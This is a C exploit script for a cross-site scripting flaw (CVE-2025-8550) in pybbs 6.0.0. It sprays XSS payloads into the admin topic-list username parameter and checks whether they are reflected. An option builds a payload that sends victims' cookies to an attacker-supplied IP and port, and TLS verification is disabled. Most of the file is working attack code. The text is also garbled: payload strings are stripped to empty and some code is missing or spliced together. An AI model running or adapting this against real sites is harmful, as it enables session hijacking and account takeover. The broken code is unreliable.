/* * Exploit Title : atjiu pybbs 6.0.0 - Cross Site Scripting (XSS) * Exploit Author: Byte Reaper * Vendor Homepage: https://github.com/atjiu/pybbs * Tested on: Kali Linux * CVE: CVE-2025-8550 * ------------------------------------------------------------------------------------------------------------------------------------ */ #include #include #include #include #include #include "argparse.h" #include #include #include #include #include #define FULL_URL 3500 #define FULL_PAYLOAD_URL 9000 #define BUFFER_SIZE 6000 int selCookie = 0; const char *cookies = NULL; const char *baseurl = NULL; const char *nameFileC= NULL; int cookiesPayload = 0; const char *ip = NULL; int port = 0; int verbose = 0; int serchServer_alt() { printf("\e[0;35m============================================ [SEARCH PROCESS] ============================================\e[0m\n"); const char *nameProcess[] = { "python", "apache2", "python3", "mysql", NULL }; DIR *d = opendir("/proc"); if (!d) return 1; struct dirent *entry; while ((entry = readdir(d)) != NULL) { if (!isdigit(entry->d_name[0])) continue; char cmdpath[256]; snprintf(cmdpath, sizeof(cmdpath), "/proc/%s/comm", entry->d_name); FILE *f = fopen(cmdpath, "r"); if (!f) continue; char comm[256]; if (fgets(comm, sizeof(comm), f)) { for (int i = 0; nameProcess[i]; i++) { if (strstr(comm, nameProcess[i])) { printf("\e[0;34m[+] Process found: %s (PID: %s)\e[0m\n", nameProcess[i], entry->d_name); closedir(d); return 0; } } } fclose(f); } closedir(d); return 1; printf("\e[0;35m==========================================================================================================\e[0m\n"); } void exitSyscall() { __asm__ volatile ( "mov $0x3C, %%rax\n\t" "xor %%rdi, %%rdi\n\t" "syscall\n\t" : : :"rax", "rdi" ); } int checkLen(int len, char *buf, size_t bufcap) { if (len < 0 || (size_t)len >= bufcap) { printf("\e[0;31m[-] Len is Long ! \e[0m\n"); printf("\e[0;31m[-] Len %d\e[0m\n", len); exitSyscall(); return 1; } else { printf("\e[0;34m[+] Len Is Not Long (%d).\e[0m\n",len); return 0; } return 0; } void nanoSleep(void) { struct timespec ob; ob.tv_sec = 0; ob.tv_nsec = 500 * 1000 * 1000; __asm__ volatile ( "mov $230, %%rax\n\t" "mov $1, %%rdi\n\t" "xor %%rsi, %%rsi\n\t" "mov %0, %%rdx\n\t" "xor %%r10, %%r10\n\t" "syscall\n\t" : : "r"(&ob) : "rax", "rdi", "rsi", "rdx", "r10", "memory" ); } const char *payloads[] = { "", "\">", "", "", "", "click", "XSS", "", "\">", "", "", "", "", "", "", "", "
", "", "
", "", "javascript:alert`1`", "javascript:alert(1)", "", NULL }; const char *wordPayloadXss[] = { "", ipServer, portY); if (checkLen(lenS, server, BUFFER_SIZE) == 1) { printf("[-] Error write base url in FULL URL !\e[0m\n"); exitSyscall(); } printf("\e[0;34m[+] Write Your IP And Port successfully in Payload.\e[0m\n"); printf("\e[0;34m[+] Full Payload Format steals cookies : %s\e[0m\n", server); char *encodePayloadCookie = curl_easy_escape(curl, server, strlen(server)); if (!encodePayloadCookie) { printf("\e[0;31m[-] Error Encode Payload !\n"); exitSyscall(); } printf("[+] Encode Payload : %s\n", encodePayloadCookie); int lenSC = snprintf(full, FULL_PAYLOAD_URL, "%s/admin/topic/list?startDate=&endDate=&username=%s", urlCP, encodePayloadCookie); if (checkLen(lenSC, full, FULL_PAYLOAD_URL) == 1) { printf("\e[0;31m[-] Error write base url in FULL URL !\e[0m\n"); exitSyscall(); } curl_easy_setopt(curl, CURLOPT_URL, full); if (selCookie) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } curl_easy_setopt(curl, CURLOPT_ACCEPT_ENCODING, ""); curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &responsePayload); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); nanoSleep(); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); if (verbose) { printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } struct curl_slist *h = NULL; h = curl_slist_append(h, "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0)"); h = curl_slist_append(h, "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); h = curl_slist_append(h, "Accept-Encoding: gzip, deflate, br"); h = curl_slist_append(h, "Accept-Language: en-US,en;q=0.5"); h = curl_slist_append(h, "Connection: keep-alive"); h = curl_slist_append(h, "Upgrade-Insecure-Requests: 1"); h = curl_slist_append(h, "Cache-Control: max-age=0"); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, h); res = curl_easy_perform(curl); curl_slist_free_all(h); curl_free(encodePayloadCookie); if (res == CURLE_OK) { long httpCode = 0; curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode); printf("\e[1;36m[+] Request sent successfully\e[0m\n"); printf("\e[1;32m-> Http Code : %ld\e[0m\n", httpCode); if (httpCode >= 200 && httpCode < 300) { printf("\e[0;32m[+] Http Code (200 < 300) : %ld\e[0m\n", httpCode); printf("\e[0;36m[+] Payload Injection successfully.\e[0m\n"); printf("\e[0;36m[+] Please Check Your Server.\e[0m\n"); } else { printf("[-] Payload Injection Failed !\e[0m\n"); printf("[-] http Code Not Range (%ld)\e[0m\n", httpCode); } } else { printf("\e[1;31m[-] The request was not sent !\e[0m\n"); printf("\e[1;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res)); exitSyscall(); } } curl_easy_cleanup(curl); if (responsePayload.buffer) { free(responsePayload.buffer); responsePayload.buffer = NULL; responsePayload.len = 0; } printf("\e[0;35m==================================================================================================================================================\e[0m\n"); } int sendRequest(const char *url) { char full[FULL_URL]; struct Mem response; CURL *curl = curl_easy_init(); if (curl == NULL || !curl) { printf("\e[0;31m[-] Error Create Objetc CURL !\e[0m\n"); exitSyscall(); } CURLcode res; response.buffer= NULL; response.len = 0; if (response.buffer == NULL && response.len == 0) { printf("\e[0;33m[+] Clean Response Buffer successfully.\e[0m\n"); printf("\e[0;33m[+] Response Buffer -> NULL\e[0m\n"); printf("\e[0;33m[+] Response Len -> 0\e[0m\n"); } else { printf("\e[0;31m[-] Cleaning Buffer and len did not work !\e[0m\n"); } int finish = 0; for (int p = 0 ; payloads[p] != NULL; p++) { char *encodePayload = curl_easy_escape(curl, payloads[p], strlen(payloads[p])); if (encodePayload == NULL || !encodePayload) { printf("\e[0;31m[-] Error Encode Payload !\n"); exitSyscall(); } printf("\e[0;34m[+] Encode Payload successfully.\e[0m\n"); printf("\e[0;34m[+] Original Payload : %s\e[0m\n", payloads[p]); printf("\e[0;34m[+] Encode Payload : %s\e[0m\n", encodePayload); int len = snprintf(full, sizeof(full), "%s/admin/topic/list?startDate=&endDate=&username=%s", url, encodePayload); if (checkLen(len, full, sizeof(full)) == 1) { printf("\e[0;31m[-] Error write base url in FULL URL !\e[0m\n"); printf("\e[0;31m[-] LEN FULL URL : %d\e[0m\n", len); exitSyscall(); } printf("[+] FULL URL : %s\n", full); curl_easy_setopt(curl, CURLOPT_URL, full); if (selCookie) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } curl_easy_setopt(curl, CURLOPT_ACCEPT_ENCODING, ""); curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); nanoSleep(); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); if (verbose) { printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } struct curl_slist *h = NULL; h = curl_slist_append(h, "Accept: text/html"); h = curl_slist_append(h, "Accept-Encoding: gzip, deflate, br"); h = curl_slist_append(h, "Accept-Language: en-US,en;q=0.5"); h = curl_slist_append(h, "Connection: keep-alive"); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, h); char referer[3500]; int refLen = snprintf(referer, sizeof(referer), "Referer: %s", full); if (checkLen(refLen, referer, sizeof(referer)) == 1) { printf("\e[0;31m[-] Error write Header Referer Content !\e[0m\n"); printf("\e[0;31m[-] Default Header Referer : http://exemple.com\e[0m\n"); h = curl_slist_append(h, "Referer : http://exemple.com"); exitSyscall(); } else { printf("\e[0;34m[+] Write Header Referer Content successfully.\e[0m\n"); printf("\e[0;34m[+] Header Referer : %s\e[0m\n", referer); h = curl_slist_append(h, referer); } curl_easy_setopt(curl, CURLOPT_HTTPHEADER, h); res = curl_easy_perform(curl); curl_slist_free_all(h); curl_free(encodePayload); if (res == CURLE_OK) { long httpCode = 0; curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode); printf("\e[0;37m--------------------------------------------------------------------------------------------------------\e[0m\n"); printf("\e[1;36m[+] Request sent successfully\e[0m\n"); printf("\e[1;32m-> Http Code : %ld\e[0m\n", httpCode); if (httpCode >= 200 && httpCode < 300) { printf("\e[0;32m[+] Http Code (200 < 300) : %ld\e[0m\n", httpCode); if (verbose) { if (response.buffer) { printf("\e[1;37m\n======================================== [Response ] ========================================\e[0m\n"); printf("%s\n", response.buffer); printf("\e[1;32m[Len] : %zu\e[0m\n", response.len); printf("\e[1;37m\n=============================================================================================\e[0m\n"); } } for (int w = 0; wordPayloadXss[w] != NULL; w++) { if (strstr(response.buffer, wordPayloadXss[w]) != NULL) { printf("\e[0;36m[+] Word Found in Response : %s\n", wordPayloadXss[w]); if (response.buffer) { printf("\e[1;35m==================================== [WORD FOUND RESPONSE] ====================================\e[0m\n"); printf("%s\n", response.buffer); printf("\e[1;32m[+] Response Len : %zu\e[0m\n", response.len); printf("\e[1;35m===============================================================================================\e[0m\n\n"); } else { printf("[-] Response Is NULL, Exit ...\n"); exitSyscall(); } } else { if (verbose) { printf("\e[0;31m[-] Word Not Found In Response %s\e[0m\n", wordPayloadXss[w]); } if (wordPayloadXss[w] == NULL) { printf("\e[0;31m[-] Not Found Word In Response !\e[0m\n"); finish = 1; } } } } else { printf("\e[0;31m[-] Negative response code (%ld)!\e[0m\n", httpCode); } } else { printf("\e[1;31m[-] The request was not sent !\e[0m\n"); printf("\e[1;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res)); exitSyscall(); } } curl_easy_cleanup(curl); if (response.buffer) { free(response.buffer); response.buffer = NULL; response.len = 0; } return finish; } void *thread_routine(void *arg) { int finish = sendRequest((const char *)arg); return (void *)(intptr_t)finish; } void runThread(const char *urlT) { int valeuF = sendRequest(urlT); pthread_t thread; for (int u = 0; valeuF == 1; u++) { if (valeuF == 1) { pthread_exit(NULL); } if (pthread_create(&thread, NULL, thread_routine, (void *)urlT) == 0) { printf("\e[0;32m[+] Pthread Create successfully.\e[0m\n"); } else { printf("\e[0;31m[-] Pthread Create Faild !\e[0m\n"); } sleep(2); printf("\e[0;32m[+] Sleep 2 s...\n"); pthread_cancel(thread); if (pthread_join(thread, NULL) == 0) { printf("\e[0;32m[+] Pthread Join successfully.\e[0m\n"); } else { if (verbose) { printf("\e[0;31m[-] Pthread Join Faild !\e[0m\n"); } } } } int main(int argc, const char **argv) { printf( "\e[0;31m" "░██████ ░██ ░██ ░██████████ ░██████ ░████ ░██████ ░████████ ░██████ ░████████ ░████████ ░████ \n" "░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ \n" "░██ ░██ ░██ ░██ ░██ ░██ ░████ ░██ ░███████ ░██ ░██ ░███████ ░███████ ░██ ░████ \n" "░██ ░██ ░██ ░█████████ ░██████ ░█████ ░██░██░██ ░█████ ░██ ░██████ ░██████ ░██ ░██ ░██░██░██ \n" "░██ ░██ ░██ ░██ ░██ ░████ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░████ ░██ \n" "░██ ░██ ░██░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ ░██ \n" "░██████ ░███ ░██████████ ░████████ ░████ ░████████ ░██████ ░██████ ░██████ ░██████ ░████ \n" "\e[0;37m\t\t\t\t\t\t\t\t\t\t\t\t\t\tByte Reaper\e[0m\n" ); printf("\e[0;31m---------------------------------------------------------------------------------------------------------------------------------------------------------\e[0m\n"); curl_global_init(CURL_GLOBAL_DEFAULT); struct argparse_option options[] = { OPT_HELP(), OPT_STRING('u', "url", &baseurl, "Enter Target Url (http://)"), OPT_STRING('c', "cookies", &nameFileC, "Enter File cookies"), OPT_BOOLEAN('k', "cokpay", &cookiesPayload, "Arg For Send Request steals cookies (-k (NULL))"), OPT_STRING('i', "ip", &ip, "Enter Your Ip Server"), OPT_INTEGER('p', "port", &port, "Enter Port Server"), OPT_BOOLEAN('v', "verbose", &verbose, "Verbose Mode"), OPT_END(), }; struct argparse argparse; argparse_init(&argparse, options, NULL, 0); argparse_parse(&argparse, argc, argv); serchServer_alt(); if (!baseurl) { printf("\e[1;31m[-] Please Enter target Url !\e[0m\n"); printf("\e[1;31m[-] Example : ./CVE-2025-8550 -u http://\e[0m\n"); exitSyscall(); } if (nameFileC) { selCookie = 1; } if (verbose) { verbose = 1; } if (cookieSend && ip && port) { cookieSend(ip, port, baseurl); } else { printf("[-] Please Enter Ip And Port !\e[0m\n"); } runThread(baseurl); curl_global_cleanup(); return 0; }